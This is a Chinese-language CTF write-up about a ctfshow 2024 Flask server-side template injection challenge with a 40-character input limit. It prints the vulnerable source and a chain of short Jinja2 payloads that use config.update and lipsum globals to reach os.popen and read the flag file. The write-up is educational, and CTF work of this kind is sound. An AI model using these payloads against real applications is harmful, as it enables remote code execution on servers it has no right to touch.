一、简介

在做ctf的ssti考点的时候碰到了大多数都是对payload的恶意字符绕过,好像没遇到过对长度的限制。然后网上也挺少有这方面的研究,于是在我打ctfshow2024的单身杯的时候遇到一题关于ssti长度限制的题目

二、题目

rce后下载的源码
app.py

#!/usr/bin/env python3
import os
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route("/")
def home():
    user = request.args.get('user') or None

    template = """
    <html>
    <head>
        <title>Get The Flag</title>
        <style>body {margin: 90px;}</style>
    </head>
    <body>
    """

    if user is None:
        template += """
        <h1>Login Form</h1>
        <form>
            <input name="user" style="border: 2px solid #C21010; padding: 10px; border-radius: 10px; margin-bottom: 25px;" value="Username"><br>
            <input type="submit" value="login" style="border: 0px; padding: 5px 20px ; color: #C21010;">
        </form>
        """
    else:
        if len(user) > 40:
            return "<h1>太长了bro</h1>"

        template += f"""
        <h1>hello {user}</h1>
        你已成功登录<br>
        """

    template += "</body></html>"

    return render_template_string(template)

if __name__ == "__main__":
    app.run(debug=False, host='0.0.0.0', port=12133)

一个很常见的ssti注入漏洞
长度被限制了只能是40

三、解题

一开始我都payload是这样的

利用update函数

来更新

{%set x=config.update(g="__globals__")%}

后面发现update其实也是可以更新的

{%set x=config.update(c=config.update)%}

更改成功

{%set x=config.c(f=lipsum[config.g])%}

然后

{%set x=config.update(o=config.f.os)%}

接着

{%set x=config.update(p=config.o.popen)%}

接着

{%print(config.p("cat /f*").read())%}

得到flag

四、赛后复盘

赛后看了wp,然后就经过研究发现还可以有更短的ssti注入
就是set x其实是可以直接省去的

所以直接就是用{{config.update(c=config.update)}}来获取更新函数,该字符长度为34

完整的就是

{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}

如果是config是否还有别的函数呢?又或者还有别的能代替config呢?

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖